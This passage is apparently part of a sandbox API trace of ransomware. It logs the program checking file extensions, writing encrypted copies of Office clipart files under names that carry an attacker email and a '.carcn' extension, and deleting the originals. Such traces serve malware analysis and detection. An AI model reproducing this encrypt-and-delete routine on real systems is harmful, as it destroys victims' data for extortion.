Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0265.082] lstrlenW (lpString=".1cd") returned 4 [0265.082] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0265.082] lstrlenW (lpString=".jpg") returned 4 [0265.082] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.082] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0265.082] lstrlenW (lpString="BD19695_.WMF") returned 12 [0265.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0265.083] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=12982) returned 1 [0265.083] CloseHandle (hObject=0x530) returned 1 [0265.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf")) returned 0x220 [0265.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0265.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0265.084] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.084] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0265.084] GetLastError () returned 0x0 [0265.084] ReadFile (in: hFile=0x530, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x32b6, lpOverlapped=0x0) returned 1 [0265.168] WriteFile (in: hFile=0x54c, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x32c0, lpOverlapped=0x0) returned 1 [0265.170] ReadFile (in: hFile=0x530, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0265.170] WriteFile (in: hFile=0x54c, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0265.170] SetEndOfFile (hFile=0x54c) returned 1 [0265.170] CloseHandle (hObject=0x54c) returned 1 [0265.171] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.171] SetEndOfFile (hFile=0x530) returned 1 [0265.183] CloseHandle (hObject=0x530) returned 1 [0265.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0265.186] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf")) returned 1 [0265.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0265.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0265.189] lstrlenW (lpString=".doc") returned 4 [0265.189] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.189] lstrlenW (lpString=".docx") returned 5 [0265.189] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0265.189] lstrlenW (lpString=".pdf") returned 4 [0265.189] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.189] lstrlenW (lpString=".xls") returned 4 [0265.189] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.189] lstrlenW (lpString=".xlsx") returned 5 [0265.190] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0265.190] lstrlenW (lpString=".ppt") returned 4 [0265.190] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0265.190] lstrlenW (lpString=".zip") returned 4 [0265.190] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.190] lstrlenW (lpString=".rar") returned 4 [0265.190] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.190] lstrlenW (lpString=".bz2") returned 4 [0265.190] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.190] lstrlenW (lpString=".7z") returned 3 [0265.190] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0265.190] lstrlenW (lpString=".dbf") returned 4 [0265.190] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0265.190] lstrlenW (lpString=".1cd") returned 4 [0265.191] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0265.191] lstrlenW (lpString=".jpg") returned 4 [0265.191] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0265.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0265.191] lstrlenW (lpString=".doc") returned 4 [0265.191] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.191] lstrlenW (lpString=".docx") returned 5 [0265.191] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0265.191] lstrlenW (lpString=".pdf") returned 4 [0265.191] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.191] lstrlenW (lpString=".xls") returned 4 [0265.191] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.191] lstrlenW (lpString=".xlsx") returned 5 [0265.191] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0265.191] lstrlenW (lpString=".ppt") returned 4 [0265.191] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0265.191] lstrlenW (lpString=".zip") returned 4 [0265.191] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.191] lstrlenW (lpString=".rar") returned 4 [0265.191] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.192] lstrlenW (lpString=".bz2") returned 4 [0265.192] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.192] lstrlenW (lpString=".7z") returned 3 [0265.192] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0265.192] lstrlenW (lpString=".dbf") returned 4 [0265.192] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0265.192] lstrlenW (lpString=".1cd") returned 4 [0265.192] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0265.192] lstrlenW (lpString=".jpg") returned 4 [0265.192] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.192] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0265.192] lstrlenW (lpString="BD19828_.WMF") returned 12 [0265.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0265.644] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=8772) returned 1 [0265.645] CloseHandle (hObject=0x554) returned 1 [0265.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf")) returned 0x220 [0265.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0265.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0265.645] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.645] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0265.646] GetLastError () returned 0x0 [0265.646] ReadFile (in: hFile=0x554, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x2244, lpOverlapped=0x0) returned 1 [0265.677] WriteFile (in: hFile=0x53c, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x2250, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x2250, lpOverlapped=0x0) returned 1 [0265.679] ReadFile (in: hFile=0x554, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0265.679] WriteFile (in: hFile=0x53c, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0265.679] SetEndOfFile (hFile=0x53c) returned 1 [0265.679] CloseHandle (hObject=0x53c) returned 1 [0265.681] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.681] SetEndOfFile (hFile=0x554) returned 1 [0265.688] CloseHandle (hObject=0x554) returned 1 [0265.688] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0265.688] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf")) returned 1 [0265.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0265.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0265.689] lstrlenW (lpString=".doc") returned 4 [0265.689] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.689] lstrlenW (lpString=".docx") returned 5 [0265.689] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0265.689] lstrlenW (lpString=".pdf") returned 4 [0265.689] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.689] lstrlenW (lpString=".xls") returned 4 [0265.689] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.689] lstrlenW (lpString=".xlsx") returned 5 [0265.689] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0265.689] lstrlenW (lpString=".ppt") returned 4 [0265.689] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0265.689] lstrlenW (lpString=".zip") returned 4 [0265.689] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.689] lstrlenW (lpString=".rar") returned 4 [0265.689] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.689] lstrlenW (lpString=".bz2") returned 4 [0265.689] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.689] lstrlenW (lpString=".7z") returned 3 [0265.689] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0265.689] lstrlenW (lpString=".dbf") returned 4 [0265.689] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0265.689] lstrlenW (lpString=".1cd") returned 4 [0265.689] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0265.690] lstrlenW (lpString=".jpg") returned 4 [0265.690] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0265.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0265.690] lstrlenW (lpString=".doc") returned 4 [0265.690] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.690] lstrlenW (lpString=".docx") returned 5 [0265.690] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0265.690] lstrlenW (lpString=".pdf") returned 4 [0265.690] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.690] lstrlenW (lpString=".xls") returned 4 [0265.690] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.690] lstrlenW (lpString=".xlsx") returned 5 [0265.690] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0265.690] lstrlenW (lpString=".ppt") returned 4 [0265.690] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0265.690] lstrlenW (lpString=".zip") returned 4 [0265.690] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.690] lstrlenW (lpString=".rar") returned 4 [0265.690] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.690] lstrlenW (lpString=".bz2") returned 4 [0265.690] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.690] lstrlenW (lpString=".7z") returned 3 [0265.691] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0265.691] lstrlenW (lpString=".dbf") returned 4 [0265.691] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0265.691] lstrlenW (lpString=".1cd") returned 4 [0265.691] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0265.691] lstrlenW (lpString=".jpg") returned 4 [0265.691] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.691] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0265.691] lstrlenW (lpString="BL00008_.WMF") returned 12 [0265.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0265.692] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=12520) returned 1 [0265.692] CloseHandle (hObject=0x554) returned 1 [0265.692] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf")) returned 0x220 [0265.692] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0265.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0265.693] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.693] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0265.693] GetLastError () returned 0x0 [0265.693] ReadFile (in: hFile=0x554, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x30e8, lpOverlapped=0x0) returned 1 [0265.710] WriteFile (in: hFile=0x53c, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x30f0, lpOverlapped=0x0) returned 1 [0265.711] ReadFile (in: hFile=0x554, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0265.711] WriteFile (in: hFile=0x53c, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0265.711] SetEndOfFile (hFile=0x53c) returned 1 [0265.711] CloseHandle (hObject=0x53c) returned 1 [0265.712] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.712] SetEndOfFile (hFile=0x554) returned 1 [0265.715] CloseHandle (hObject=0x554) returned 1 [0265.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0265.734] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf")) returned 1 [0265.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0265.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0265.734] lstrlenW (lpString=".doc") returned 4 [0265.735] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.735] lstrlenW (lpString=".docx") returned 5 [0265.735] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0265.735] lstrlenW (lpString=".pdf") returned 4 [0265.735] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.735] lstrlenW (lpString=".xls") returned 4 [0265.735] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.735] lstrlenW (lpString=".xlsx") returned 5 [0265.735] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0265.735] lstrlenW (lpString=".ppt") returned 4 [0265.735] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0265.735] lstrlenW (lpString=".zip") returned 4 [0265.735] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.735] lstrlenW (lpString=".rar") returned 4 [0265.735] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.735] lstrlenW (lpString=".bz2") returned 4 [0265.735] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.735] lstrlenW (lpString=".7z") returned 3 [0265.735] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0265.735] lstrlenW (lpString=".dbf") returned 4 [0265.735] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0265.735] lstrlenW (lpString=".1cd") returned 4 [0265.735] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0265.736] lstrlenW (lpString=".jpg") returned 4 [0265.736] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0265.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0265.736] lstrlenW (lpString=".doc") returned 4 [0265.736] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.736] lstrlenW (lpString=".docx") returned 5 [0265.736] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0265.736] lstrlenW (lpString=".pdf") returned 4 [0265.736] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.736] lstrlenW (lpString=".xls") returned 4 [0265.736] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.736] lstrlenW (lpString=".xlsx") returned 5 [0265.736] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0265.736] lstrlenW (lpString=".ppt") returned 4 [0265.736] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0265.736] lstrlenW (lpString=".zip") returned 4 [0265.736] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.736] lstrlenW (lpString=".rar") returned 4 [0265.736] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.736] lstrlenW (lpString=".bz2") returned 4 [0265.736] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.736] lstrlenW (lpString=".7z") returned 3 [0265.736] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0266.149] lstrlenW (lpString=".dbf") returned 4 [0266.149] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0266.149] lstrlenW (lpString=".1cd") returned 4 [0266.149] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0266.149] lstrlenW (lpString=".jpg") returned 4 [0266.149] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.149] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0266.149] lstrlenW 